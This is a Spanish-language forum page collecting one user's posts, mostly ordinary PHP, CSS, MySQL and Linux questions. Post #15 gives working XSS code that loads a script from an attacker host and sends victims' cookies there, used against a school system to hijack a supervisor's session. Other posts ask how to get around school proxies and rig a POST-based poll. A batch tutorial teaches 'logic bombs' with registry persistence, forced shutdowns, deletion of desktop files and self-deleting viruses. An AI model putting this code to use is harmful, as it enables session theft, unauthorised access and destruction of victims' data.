Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Og.

#1
Hola que tal, hace mucho que no me daba una vuelta por este foro  :silbar:

En fin, en un pequeño proyecto en el que estoy trabajando pensamos usar un Raspberry Pi, un control remoto y una pantalla LCD para interactuar con con el usuario.

El punto es que necesito la capacidad de poder enviar mensajes grandes y centrados que aparezcan en el LCD, de momento solo lo puedo logrando abriendo la GUI "startx" y ejecutando un programa aparte.
Pero lo que estoy buscando es la manera de crear un ejecutable que al llamarlo, por ejemplo:



pi@raspberry ~ $ ./ejecutable



De alguna manera "Oculte" la terminal y simplemente muestre en toda la pantalla un recuadro negro con letras blancas en el centro.

Estuve buscando en Internet pero no encuentro nada. Agradecería mucho su ayuda.

¡Saludos!
Og Astorga
#2
Pues eso, ando buscando alguna recomendación de hosting para poner a trabajar un adminPAQ y me sirve perfectamente un Windows Server 2003, aun que un WS 2008 no caería mal.

Saludos y de antemano gracias.
#3
PHP / DOMDocument & XPath
31 Marzo 2012, 11:05 AM
Error al responder a una pregunta, por favor borrar este post
#4
Bueno, supongamos que tengo la siguiente tabla en MySQL


idtypename
1obj1name1
2obj2name2
3obj1name3
4obj2name4
5obj2name5
6obj2name6
7obj1name7
8obj1name8
9obj3name9
10obj3name10

Que consulta debo hacer para que me regrese los ultimos 3 elementos del tipo obj3 mas los ultimos 3 elementos del tipo obj2 mas los ultimos 3 elementos del tipo obj1 ?

Nota: El limite puede variar pero siempre se cumple que son limites para cada objecto son identicos.

Saludos.
#5
Hola! buen día

Les explico mi situación. Supongan que tengo un servidor dedicado y que tengo la dirección

http://midominio.com/files/  <- aqui estan los ficheros multimedia

http://midominio.com/cualquierOtraCosa <- aquí están las diferentes secciones.

y quiero separar la carpeta de files a otro servidor para aligerar la carga del servidor base.
hay alguna forma de redireccionar a otro servidor las peticiones que ficheros que se hagan a la primera dirección?

Saludos! Og
#6
Foro Libre / La sociedad perfecta...
20 Septiembre 2010, 04:01 AM
Creo que todos aquí creemos que este sistema de sociedad es una estupidez, eso no lo cuestiono.
Lo que me motiva a abrir este post es para saber su opinión de como para ustedes seria una sociedad perfecta.

Saludos!
#7
Foro Libre / Farmville de facebook xD
12 Agosto 2010, 02:56 AM
[youtube=425,350]http://www.youtube.com/watch?v=P0XyAipKaDU[/youtube]

Saludos! XD
#8
Hola, pues esa es mi duda, como puedo centrar un div que cambiara de tamaño.
para que se entienda mejor:

http://np.hostoi.com/ceti/

Vallan a la parte de acceder y verán a lo que me refiero.

El codigo css de la caja es:
Código (css) [Seleccionar]
#centroComando {
position: absolute;
border-radius: 10px;
-moz-border-radius: 10px;
padding: 20px 10px;
padding-right: 30px;
background: #fff;
}


Saludos!

A por cierto, absténganse de entrar con Internet Explorer xD
#9
Hola, tengo que diseñar una pagina web para mi institucion (servicio social xD) y pues es el primer diseño web que hago y me estoy liando con que firefox e IE no me visualizan correctamente el contenido.

esta es la pagina: http://np.hostoi.com/ceti/

acabo de terminar lo que seria el diseño exterior (por asi desirlo) y mi duda es que si me podrian orientar en como lograr que se vea bien en Firefox al menos (en IE parece casi imposible xD)

Saludos!
#11
Pues esa es mi duda, que tengo que hacer para que un código en C++ aproveche el hecho de que tenga un procesador de doble núcleo?

Saludos y gracias :)
#12
Hola :)

En un ciber las pc's no están rindiendo como deberían, a cada rato se infectan de virus y solo son usadas para chatear, estar en redes sociales, descargar música y debes en cuando imprimir trabajos (es todo lo que hacen los usuarios cuando van allí), entonces decidí ponerle s una distribución gnu/linux a dos PCs pero en cuanto hice esto, la gente dejo de usar estas PCs que por que según ellos estaban raras xD
lo que hice fue ponerle un tema de w7 a los escritorios y al día siguiente empezaron a usar estas computadoras normalmente. En teoría ya puedo instalar gnu/linux a todas las computadoras para que se vallan problemas de seguridad y demás cosas pero solo me falta un aspecto gráfico para que los escritorios KDE sean idénticos (visiblemente) a un w7. Esto es la barra de tareas.

Bueno eh aquí mi duda:
Puedo hacer que en la barra de tareas no se muestre el icono con el nombre sino el puro icono del programa?

Saludos!
#13
Hola, La verdad no se si este tema este bien en este subforo pero bueno :xD

ok, diseñe un pequeño circuito para mi uso personal el cual funciona con 2 entradas (A,B), si A esta en 1 logico y B no, envia una señal inalambrica a un receptor, si B esta en 1 logico y A no, envia otra señal diferente, y si A y B estan en 1 logico envia otra señal diferente y si ambos entan en 0, no hace nada.

Bueno hasta hay es facil, el circuito ya lo hize y funciona, haora lo que quiero es que desde un software pueda enviar las señales controladas por usb, alguien me puede decir como hacer esto?


Saludos!
#14
PHP / sockets
23 Agosto 2009, 06:55 AM
Bueno, el problema es el siguiente:
hay una pagina en internet, la llamaremos "http://ejemplo.com", cuando entras a esta pagina esta genera una session, lo que quiero hacer es que con sockets mi php abra una conexion, reciba la cookie(el PHPSESSID), despues la use para loguearse y que el php reciba, guarde y muestre la informacion, no tengo idea de uso de sockets, agradeceria un codigo de ejemplo o cualquier manual que me pueda ayudar a entender el funcionamiento de estos.

Saludos!  :D
#15
Nivel Web / [xss] ayuda
8 Agosto 2009, 04:46 AM
hola  :D!.
Pues necesito su ayuda, asi esta la cosa:
Existe un sistema en donde tu pones tu duda, sugerencia, comentario etc.. y una persona te responde a tu comentario (en un par de dias :P) bueno, la cuestion es que ese sistema es vulnerable a xss (lo se por que ya he hecho pruebas), el sistema al que estoy atacando es completamente desconocido (yo envio el comentario y puedo verlo desde el punto de vista de un usuario comun, pero no tengo idea de lo que ve el encargado) nisiquiera se puede saber en que pagina va a ser visualizado el mensage, entonces lo que hice fue esto:
linea de escape en el msg
Código (html) [Seleccionar]
<script src=http://atacante.com/script.js ></script>

script.js
Código ( ‫javascript) [Seleccionar]
window.onload=function(){
var a = document.getElementsByTagName("body");
var ar = a[0];
ar.innerHTML += "<img height=1 width=1 src=http://atacante.com/script.php?ref="+escape(document.location)+"&cook="+escape(document.cookie)+" >";
}

asi consigo la cookie y tambien se donde usarla =D

El problema es que el sistema se desloguea automaticamente despues de 10 mins de no hacer nada,
todo el sistema esta administrado por sessiones (entonces capturar la cookie no me ayuda a descifrar nada).

Ya he conseguido la cookie del supervisor 3 veces, tambien se donde esta la pagina de administracion pero el problema es que cuando intento usar la session obtenida ya esta caducada, no tienen alguna idea de como puedo avanzar?

saludos!
#16
PHP / error con mysql_fetch_array
26 Julio 2009, 06:24 AM
bueno, este pedaso es de una clase en un manual de php
Código (php) [Seleccionar]
public function consulta($consulta)
{
$this->resultado = mysql_query($consulta,$this->descriptor);
}
public function extraer_registro()
{
if ($fila = mysql_fetch_array($this->resultado,MYSQL_ASSOC)) {
return $fila;
} else {
return false;
}
}

bueno, el problema es que al intentar llamar el resultado de una consulta me da este error:

Citar
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/np/www/SQL/index.php on line 29

alguna ayuda?
#17
PHP / todo en el server
10 Julio 2009, 05:20 AM
hola, tengo este archivo php que me esta dando un poco de problema con respecto a carga:
Código (php) [Seleccionar]

<?php
$contenido 
= include("surf.htm");
echo 
$contenido;
?>

<script>
var a = document.getElementsByTagName('a');
var b = a[<?php echo $_GET['n']; ?>]
var c = b.href
a = a.substring(24);
var b = "http://nolopongoporqueesspam"
a = b.concat(a)
location.href=a
</script>


bueno el problema de esto es que se tiene que descargar toda la pagina y despues se ejecuta el javascript para cambiar la localizacion de la pagina, no existe alguna forma de que el servidor me envie solo la variable el resultado que deseo?

saludos!
#18
PHP / descargar directo al server?
23 Junio 2009, 21:42 PM
hola =D
bueno, he estado descargando archivos y despues subiendolos via ftp a un servidor, entonces pense: habra alguna forma de usar el ancho de banda del servidor para descargar directamente hacia el?

y...

a preguntar xDDD

bueno creen que exista alguna forma de hacerlo??


saludos!
#19
Diseño Gráfico / video y pregunta ^^
6 Junio 2009, 04:57 AM
hola!

miren:

[youtube=425,350]http://www.youtube.com/watch?v=PV_3XdLPwng[/youtube]

bueno, la cuestion es que si conocen algun tutorial como este pero en una version lenta para poder comprender todos los pasos que se llevaron a cabo

saludos!
#20
Diseño Gráfico / ojos muy realistas
5 Junio 2009, 06:37 AM
#21
hola, viendo las estadisticas del foro note que hay 1.024.601 mensajes y 245.403 usuarios, eso da un promedio de 4 y algunos 5 mensajes por usuario.
yo tengo 301 mensajes y siento que son pocos pero en realidad por mi ya hay aproximadamente 75 usuarios sin un solo post


esas cifras me parecen un tanto exageradas y por pura limpieza creo que se deberia hacer un limpiado de usuarios.

que les parece?
#22
Nivel Web / este bug es una vulnerabilidad?
28 Mayo 2009, 06:21 AM
hola!
encontre esto en el sistema de calificaciones de mi preparatoria

editado...

PD: solo surge ese error cuando no estor logueado

saludos!

#23
PHP / include externo
27 Mayo 2009, 01:25 AM
hola!
en mi preparatoria, no me dejan acceder a muchas paginas ejemplo: youtube xD
entonces quiero hacer un codigo php que lea la pagina y despues me la muestre (logrando que nunca alla una conexion derecta con la pagina y no se bloque)
esto obiamente se logra con include pero el prblema es que cuando hago
Código (php) [Seleccionar]

<?php
  
include("http://ejemplo.com")
?>



no pasa nada

PD: si incluyo algo de mi propio dominio se muestra bien

saludos!
#24
PHP / me pueden ayudar?
9 Mayo 2009, 21:52 PM
hola, soy novato en php e hice este codigo para un trabajo de la escuela,

<?php
if (
$_POST['sexo'] == ho) {
echo 'Mr',$_POST['name'],' ',$_POST['name2'],'<br> <h4>Estos son sus resultados</h4><br>';
}
else {
echo 'Mrs',$_POST['name'],' ',$_POST['name2'],'<br> <h4>Estos son sus resultados</h4><br>';
}
$resp 'c','a','b','b','a','c','c','a';
$contador 0
for (
$i ;$i <= 8$i++){
if $_POST[$i] == $resp[$i] {
$contador++;
}
}
$porc $contador 100 8;
echo 'Usted obtuvo un total de ',$contador,' resultados, lo cual es el ',$porc,' porciento.<br><h1>Gracias po hacer la prueba</h1>'
?>

me podrian decir donde esta el error?

PD:supongo que el error esta en esta linea $resp = 'c','a','b','b','a','c','c','a';

alguien me puede ayudar?


asludos!
#25
PHP / elegir direcion del error 404?
6 Mayo 2009, 05:02 AM
hola, hace poco cree una cuenta en phpnet.us, y cuando ingreso una direccion que propensa un error 404 me manda a http://phpnet.us/notify/1.php
es una explicacion de lo que es un error 404 y como prevenirlos  :xD :xD :xD
pero en ninguna parte me dice como editarlo.
segun yo eso se hace configurando el apache pero como es un server gratuito no tengo acceso al apache (creo xD)

bueno, alguien sabe como cambiarlo?

de antemano, Gracias!
#26
aqui les dejo el link, muy buen tuto
http://biorust.com/tutorials/detail/141/en/

resultado:

saludos!
#27
hola, solo queria preguntar si existe un equivalente de set /a en windows vista | windows 7
no se por que pero cuando intento ejecutar el set /a en windows 7 me da un error y me dice que no existe /A


saludos!
#28
Nivel Web / engañar POST?
28 Abril 2009, 07:36 AM
hola, existe una encuesta en mi colegio la cual esta mal hecha (puedes votar infinitamente  :xD)
pero para emitir un voto se requiere hacer un formulario (solo una pregunta xD) pero la respuesta se envia por POST (si se enviara por GET no estaria preguntando :P)
bueno el caso es que pense y si hago un codigo html que recarge la pagina cada X segundos con un iframe, como puedo fingir que ya llene el formulario?
#29
Nivel Web / cokiee-iframe?
27 Abril 2009, 01:34 AM
hola, tengo una duda espero que me puedan ayudar  ;D
bueno la pregnta es, si hago una pagina que use un iframe y alguien se logea en el dicho iframe la cokiee se grava en la pagina que incluye el iframe?

ojala este bien explicada mi pregunta xD
saludos!
#30
hola, creo que seria una buena idea poder redimensionar imagenes al incluirlas en un mensaje igual que como se hace con el complemento de youtube
espero aberme expresado correctmente  :xD

saludos!
#31
a algien se le ocurre el diagrama de esta tabla xD

http://www.metacafe.com/watch/2711197/you_know_led_table_very_novel/

ingenieria inversa aplicada a la electronica xD
saludos
#32
Scripting / ftp batch
17 Abril 2009, 05:37 AM
hola, por ejemplo si abro una conexión ftp y la mantango abierta,
se puede subir un archivo mediante batch sin tener que poner el nombre de usuario ni la contraseña?
#33
solo queria informarles que la pagina para error 404 no respeta temas
ejemplo
http://foro.elhacker.net/Nphacks (xD)
#34
Redes / me quieren controlar xD
24 Marzo 2009, 22:07 PM
bueno, el caso es que en la biblioteca de mi preparatoria esta restringido el acseso a  youtube y a cualquier paquete proveniente de ese dominio... tambien restringen el acceso a otras paginas pero eso no me importa del todo.
entonces un dia conecte mi portatil a la red
pero solo tuve acceso local, primero pense que solo abrian ciertos puertos a las maquinas que ya estaban previstas
entonces intente abrir la puerta de enlace predeterminado (en mi caso 192.169.103.254) nunca me concedio la direccion por ello pense que tal vez solo se le concedia acceso a internet a las maquinas que intentaran acceder con un proxy, me fije en una pc de la biblioteca y si de echo el proxy utilizado es 192.168.103.254 en el puerto 8080
pero el problema haora es conectarse a youtube
y la maquina del administrador puede!!!! eso hace que crea que con otro proxy me podre conectar
bueno entonces existe alguna forma para averiguar el proxy utilizado o es mas facil esperar a que el admin se vaya y yo intente iniciar secion por cierto la maquina del admin utiliza win xp pero tiene como inicio de secion el cliente novell para windows (que ironico xD)

saludos!
#35
Sugerencias y dudas sobre el Foro / alojamiento
22 Febrero 2009, 05:45 AM
una duda que se me ha ocurrido hoy...
bajo que SO esta alojado elhacker.net?
[pensamiento]ojala no paresca loco haciendo estas preguntas xD[/pensamiento]

saludos!
#36
hola!
solo queria reportar que en el tema "elhacker.net 2.0"
no aparecen los link's que deverian aparecer en el fondo de la pagina

saludos!
#37
hola! :)
como se puede lograr un efecto una luz intenza detras de letras o algo parecido? xD


saludos!
#38
Scripting / copilador de phyton?
24 Enero 2009, 19:45 PM
saludos!
una duda, existe algun copilador para copilar phyton a un ejecutable? :huh:

de antemano gracias!
#39
Scripting / tutorial batch
12 Enero 2009, 06:12 AM

I---------------------------------------------I

1. ¿Que es Batch?
Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist, etc.
Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.
Como compilador usaremos tambien el block de notas con el procedimiento explicado en el capitulo 1.2

I---------------------------------------------I

1.1 Codigos Basicos y Pequeña Practica

Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas


Los comandos basicos de batch son los siguientes:

Código:

*ECHO: imprime un texto en pantalla
*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad).
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador


Ahora nos vamos a la practica

Abres el Block y escribes el siguiente codigo.

Código:
@echo off
title Primer Programa
echo presiona una tecla
pause
echo hola
pause > nul
exit

Aca una screen del codigo anterior luego de ser compilado y funcionando:

Ahora expliquemos el codigo que copiaste.


Código:
@echo off
este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea.


Código:
title
este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.


Código:
echo
este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla.
por ejemplo
echo hola
en la pantalla apareceria "hola"


Código:
pause
esto crea una pausa en el programa y tienes que presionar una tecla para proseguir.


Código:
pause > nul
esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir"

I---------------------------------------------I

1.2 ¿Como guardo el Batch?

Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como...

Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la extension .bat Tambien nos aseguramos que abajo diga "todos los archivos"
I---------------------------------------------I

2. Variables

DEFINICION

Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conozco todos [borracho]). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.

Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero%


A LA PRACTICA

comenzaremos examinando el code siguiente:


Código:
@echo off
title variables
echo bienvenido al ejercicio para aprender variables
echo .
echo presiona una tecla para continuar
pause > nul
set /p nombre=como te llamas?
set /p edad=cuantos años tenes?
set /p comida= que comes?
pause > nul
echo hola %nombre%
echo veo que tienes %edad% años verdad?
echo como rayos te puede gustar %comida%?
pause > nul
exit


Ahora Examinemos el code:


Código:
set /p nombre=como te llamas?
con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamr variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.

He aqui un modelo standar de variable


Código:
set /p var1=que valor le asigna a la variable 1?

tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo


Código:
set var=pesos

---

Código:
echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD
exit
Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se llaman entre "%". entonces el batch imprimira en pantalla el valor de las variables nombre, edad y comida adicionadas con el texto expuesto.

este seria el ejemplo del programa corriendo asi se entiende mejor:


Código:
Bienvenidos al ejercicio para aprender variables
.
Presione una tecla para continuar

como te llamas? holy
que edad tienes? 14
que comes? nada

hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD

I---------------------------------------------I

2.1 Variables del entorno
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
logicamente le podremos que busque en la ruta c:/windows/system32/
pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e:? claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonces para evitar este tipo de errores usaremos las variables del entorno que son las siguientes:


Código:
%ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz

para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad

Código:
@echo off
title pruba
echo ahora se ejecutara el notepad
%homedrive%/windows/system32/notepad.exe
exit

en caso de que tubieramos en el disco c:

eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de progrmar batch.

I---------------------------------------------I

3. Bombas Logicas y Virus en Batch

Es muy facil crear codigos que perjudiquen o molesten a una victima que ejecute nuestro batch. A continuacion les mostrare una forma de crear una pequeña bomba logica en batch que hara que se apage el ordenador de la victima a las 17:00 todos los dias.


Primero aprender la definicion concreta de Bomba Lógica:
Bomba Logica

Las bombas logicas complejas pueden programarce en lenguajes mas complejos como Visual Basic. Pero como tu solo buscas algo simple para [Censurado] a alguien te recomiendo batch.

Mira este code


Código:
shutdown -s -f -t 15 -c "hola mundo"
ahora explicamos el code


Código:
shutdown
el mismo nombre te lo dice, apaga el equipo


Código:
-s
activa apagar el equipo


Código:
-f
Fuerza a las aplicaciones activas a cerrrarse


Código:
-t xx
Es el tiempo en el que tardara en apagarse en ordenador.(xx representa el numero que quieras)


Código:
-c "x"
muestra un mensaje con lo que quieras (donde esta la x pones el mensaje)

entonces si creamos un batch que se inicie con windows y apage la pc de la victima a las 17:00 joderemos mucho a la victima.


Código:
@echo off
AT 17:00 shutdown -s -f -t 2 -c "Jodete" >> c:/windows/system32/windosx.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/windosx.bat"
exit


lo que haria esto en "teoria" seria apagar el pc en 2 segundos a las 17:00 de cada dia y agregarse al registro de windows, osea que su pc se apagara en 2 segs. todos los dias a las 17:00.

I---------------------------------------------I

4. IF (not) & IF (NOT) EXIST

IF es un comando que permite verificar algo. Si es verdadero o no hace una accion determinada. Su principal rol en los batch es verificar si alguna variable es "tal" valor numerico. Aqui mostraremos un claro ejemplo de su funcion que no es para nada complicada

Código:
@echo off
set /p var=cuanto es 1+1??
if %var%==2 (echo bien) else echo mal
pause



En cambio IF NOT es exactamente lo contrario, verifica que algo no sea = a un valor espesificado. Aqui se ve claramente:


Código:
@echo off
set /p var=cuanto es 1+1??
if not %var%==2 (echo mal) else echo bien
pause




IF (NOT) EXIST verifica que exista cierto archivo. Tiene un funcionamiento identico al IF (NOT), solo que trabajo sobre archivos y no valores alfanumericos. Lo verificamos con el siguiente code:

Código:
@echo off
if exist c:/windows/system32/explorer.exe (echo tenes explorer.exe) else echo no tenes explorer.exe
pause > nul





I---------------------------------------------I

4.1 Aplicacion del IF a las variables y menúes
IF nos ayuda a la hora de crear menúes. Ya que podemos asignarle un numero a cada opcion del menú y asi cuando el usuario ingrese cierto numero nos llevara al lugar designado. No se entiende totalmente en palabras por eso les he formulado este simple code que lo explica.

Código:
@echo off
:menu
echo 1. ping a google
echo 2. ping a wikipedia
set /p var=a quien quieres hacer un ping??

if %var%==1 (goto goo)
if %var%==2 (goto wiki)
if %var%=="" (goto menu)

:goo
ping www.google.com
pause
goto menu

:wiki
ping www.wikipedia.com
pause
goto menu




I---------------------------------------------I

5. Bucles
5. Bucles
Los bucles son comandos que se ejecutan muchas veces, generalmente indefinidamente. Estos bucles se pueden realizar muy facilmente con etiquetasm tal como en el siguiente ejemplo.

Código:
@echo off
:bucle
echo holy manda!
goto bucle




como ven si lo prueban, se ejecutara el comando infinitamente hasta que saquemos el programa.
Pero tambien se puede hacer que el comando se ejecute un numero de veces determinado con el uso de una variante del SET y el IF. Aqui se los muestro con un clarisimo ejemplo.

Código:
@echo off
set var=10

:bucle
if %var%==0 (goto exit) else set /A var=%var%-1
echo hola viteh!
goto bucle

:exit
echo hola
pause
exit

I---------------------------------------------I

6. Mejorar el Diseño de menúes (idea original de Espectro infernal)

Hay simbolos que al imprimirlos mediante la variable hecho cambian de forma. Con ciertos caracteres tales como "Í" se pueden crear tablas,
columnas, etc. Aqui les mostrare de que se trata esto. Nos sirve para darle nuevos look's a los convencionales menus de "1. opcion uno".
Aclaro que la idea original es de espectro infernal, yo solo adapto lo que se y lo transmito.
El simbolo "Í" que anteriormente les mostraba como ejemplo quedaria asi luego de imprimirlo:
Como ven parece un igual, pero tiene una diferencia, no deja espacio entre caracteres lo que permite una cadena de =. Tal como la siguiente imagen:
Hay mas codigos. Les dejo el terminado para que prueben y vean el resultado de combinaciones de estos caracteres.
Tambien pueden crear sus propias tablas personalizadas. Los caracteres mas usados son "ÿ,Í,ÿ,¼,»,º."


Código:
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - PRIMERA OPCION º
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ




I---------------------------------------------I

7. Automatizando Tareas (AT)
El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada. Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos ejemplos y veran los facil que es.

Código:
@echo off
at 4:00 shutdown -s -f -t 01
pause > nul
exit




Código:
@echo off
at /next:4 4:00 shutdown -s -f -t 01
pause > nul
exit

Código:
@echo off
at /every:4/2 4:00 shutdown -s -f -t 01
pause > nul
exit
Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg.

Código:
@echo off
rem este code contiene una redireccion, estan explicadas en un prox capitulo.
at 3:00 shutdown -s -f -t 05 > c:/shut.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/shut.bat"
del %0
exit
Si ponemos una tarea accidentalmente, por ej.

Código:
at 17:30 format e:
podemos usar un parametro que nos permite eliminar las tareas. Esto se realiza mediante la agregacion de el parametro /delete "id de tarea". Si se omite el id, se borraran todas.

Código:
@echo off
at /delete
exit



I---------------------------------------------I

8. Utilizacion de comandos de red

Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como pings, fingers, netbios, telnet, etc. Aqui les dejo una liste de comandos con su explicacion.

Código:
FTP
Iniciar el cliente ftp

IPCONFIG parámetros
Mostrar las características de configuración de IP
/all -> muestra toda la información de configuración
/release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la caché de resolución de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolución dns

NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?

NET parámetros
Comando para el uso de redes netbios
USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesión netbios
STOP -> para detener netbios

NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar números de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadísticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas

NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias

PING
Enivia paquetes a un host para comprovar su disponibilidad

TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior

TRACERT destino
muestra el camino que se toma hasta llegar a la ip




I---------------------------------------------I

9. Redirecciones
Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo para redireccionar un comando a un archivo.

Código:
@echo off
shutdown -s -f -t 01 >> "c:/shut.bat"
En este caso creara el file "shut.bat" con el contenido redireccionado. Nos sirve para crear por ejemplo un virus que se autoelimine para no dejar rastros.

Código:
@echo off
del /f /q c:/documents and settings/%currentuser%/escritorio/*.* > "c:/windows/system32/sysdoc.bat"
del /f /q %0
rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo
Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con:

Código:
echo hola > prn
Supuestamente este code tendria que salir por la impresora. Aqui les dejo los valores extraidos del manual de "elhacker.net".


Citar
DISPOSITIVO -- SALIDA
CON -- Salida por la pantalla
PRN -- Salida por la impresora por defecto
LPT1 -- Salida por la 1º impresora en paralelo
COM1 -- Salida por el primer puerto serie
COM2 -- Salida por el segundo puerto serie
I---------------------------------------------I

10. %0, %1, etc.

Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados con ejemplos.
%0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se comprueba con este ejemplo:

Código:
@echo off
del /f /q %0
exit

Copien el codigo y compilenlo, luego ejecutenlo y vean que pasa. Ahi entenderan el concepto 100%.

Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los parametros que se pueden espesificar para un comando. Tal como

Código:
dir /p
en este caso "/p" seria igual a %1.
entonces si ponemos

Código:
del /f /q
"/f" es %1 y "/q" es %2

Es algo complicado en un principio, pero una vez que se aprende te daz cuenta que es muy simple. Es principalmente escencial para modificar el funcionamiento de los programas y/o crear ayudas como en lso comandos default de windows.

Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo:

C:\Documents and Settings\administrador\Escritorio\>prueba.bat /help

y luego solo normalmente

C:\Documents and Settings\Francisco\Escritorio\>prueba.bat


Código:
@echo off
title Ejemplo de variables
if %1==/help (goto help) else goto :tex

:help
echo Esta es la ayuda
echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help
pause
exit

:tex
echo De esta forma se ejecuta el programa normalmente
pause
exit

I---------------------------------------------I

11. Manejo del Registro
acceder al registro es algo fundamental si queremos hacer algo como un virus o algo asi. Esto es posible mediante el comando "reg". Este comando tiene infinitas posibilidades. Hay muchos parametros que se peude espesificar y muchas funcionalidades. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero con estos ya es suficiente.
Los tipos de "reg" son los siguientes:

Código:
REG ADD / Para agregar una clave al registro
REG QUERY / Para consultar una clave
REG EXPORT / Para exportar claves
REG IMPORT / Importa una clave exporta anteriormente con EXPORT.
REG COMPARE / compara una clave con otra.
REG ADD
Aqui les mostrare un ejemplo para que quede claro su llamado y funcionamiento.
